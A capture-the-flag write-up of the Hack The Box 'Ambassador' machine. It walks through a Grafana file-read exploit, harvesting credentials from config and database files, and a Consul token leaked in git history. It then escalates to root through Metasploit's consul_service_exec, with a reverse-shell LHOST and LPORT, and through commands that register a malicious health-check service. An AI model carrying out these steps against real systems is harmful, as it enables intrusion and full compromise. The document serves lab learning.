There are multiple ports open so I’ll start with port 80.
It’s a website made with hugo (a static site generator). On the website, there’s a post in which a possible system user is revealed as developer.
Since I didn’t find any unique domain name for the website, I added the usual htb pattern domain name in my /etc/hosts file as ambassador.htb.
The website didn’t provide much detail on further enum. I also tried directory brute forcing but it was also a dead end.
Moving on to the other open port 3000.
On browsing the port 3000 on a web browser, it redirects us to http://ambassador.htb:3000/login.
It’s a Grafana Login page.
Grafana
Grafana is an open source interactive data-visualization platform, developed by Grafana Labs, which allows users to see their data via charts and graphs that are unified into one dashboard (or multiple dashboards!) for easier interpretation and understanding.
Trying out this exploit from exploit-db, we can read local files on the server.
Now since we can read the local files on the server, what can we read next? I tried reading the /home/developer files like user.txt or ssh keys but it didn’t work because we possibly don’t have enough privilege to read those files.
Next I tried reading the default config files. This blog post showed different default files of grafana we can read and get sensitive information from.
The default config file /etc/grafana/grafana.ini contains the credentials for the login page.
And we get the credentials to login.
I couldn’t find much in the grafana dashboard. Upon further reading the above mentioned blog, we can also read a database file /var/lib/grafana/grafana.db.
For privilege escalation, linpeas didn’t give much useful information.
Checking the processes running as root using pspy, there’s an interesting process.
On further enum, there are two folders in the /opt directory.
1
2
3
4
5
6
developer@ambassador:/opt$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Sep 1 22:13 .
drwxr-xr-x 20 root root 4096 Sep 15 17:24 ..
drwxr-xr-x 4 consul consul 4096 Mar 13 2022 consul
drwxrwxr-x 5 root root 4096 Mar 13 2022 my-app
In the my-app folder there’s a git repo.
Previous commits in the repo leaked the consul token.
Btw, for those who don’t know what consul is.
Consul
Consul is a multi-networking tool that offers a fully-featured service mesh solution that solves the networking and security challenges of operating microservices and cloud infrastructure. Consul offers a software-driven approach to routing and segmentation.
From here we have two methods to escalate our privileges to root.
Using Metasploit
Using exploit/multi/misc/consul_service_exec.
Here on my local machine, I have access to consul API at 127.0.0.1:8000 so I will set the following options.
RHOST -> 127.0.0.1
RPORT -> 8000
ACL_TOKEN -> bb03b43b-1d81-d62b-24b5-39540ee469b5
LHOST -> 10.10.14.10
LPORT -> 4444
Now we run the exploit and get shell as root.
Manual Exploit
For exploiting the vulnerability manually, we need to create a consul health check script and then register that with the token. Upon reloading the consul, our injected code will get executed.
We will inject our malicious code in the health check script.
Creating the script in /etc/consul.d/config.d/ as script.hcl
Now registering the service and reloading the consul as follows.
1
2
3
developer@ambassador:/opt/consul$ consul services register -token=bb03b43b-1d81-d62b-24b5-39540ee469b5 /etc/consul.d/config.d/script.hcl
developer@ambassador:/opt/consul$ consul reload -token=bb03b43b-1d81-d62b-24b5-39540ee469b5